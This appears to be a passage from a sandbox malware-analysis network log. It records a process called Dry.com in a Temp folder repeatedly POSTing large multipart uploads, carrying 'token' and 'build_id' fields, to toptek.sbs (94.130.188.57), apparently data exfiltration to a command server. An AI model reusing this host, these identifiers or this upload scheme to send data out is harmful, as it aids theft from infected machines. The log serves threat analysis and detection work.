2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:56 UTC	6186	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49776	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:21:57 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JWTR1VSJEKF37YUA168G User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 57 54 52 31 56 53 4a 45 4b 46 33 37 59 55 41 31 36 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 57 54 52 31 56 53 4a 45 4b 46 33 37 59 55 41 31 36 38 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 57 54 52 31 56 53 4a 45 4b 46 33 37 59 55 41 31 36 38 47 0d 0a 43 6f 6e 74 Data Ascii: ------JWTR1VSJEKF37YUA168GContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------JWTR1VSJEKF37YUA168GContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------JWTR1VSJEKF37YUA168GCont
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:57 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:21:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 23 Dec 2024 05:21:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49778	94.130.188.57	443	7548	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-23 05:22:00 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----Z5XL6XTRI58QIEKFKFCT User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 36 36 63 39 39 62 34 65 61 31 31 30 37 64 36 37 37 38 31 65 31 33 32 62 32 39 36 63 64 33 32 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 5a 35 58 4c 36 58 54 52 49 35 38 51 49 45 4b 46 4b 46 43 54 0d 0a 43 6f 6e 74 Data Ascii: ------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="token"a66c99b4ea1107d67781e132b296cd32------Z5XL6XTRI58QIEKFKFCTContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------Z5XL6XTRI58QIEKFKFCTCont
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-23 05:22:00 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data 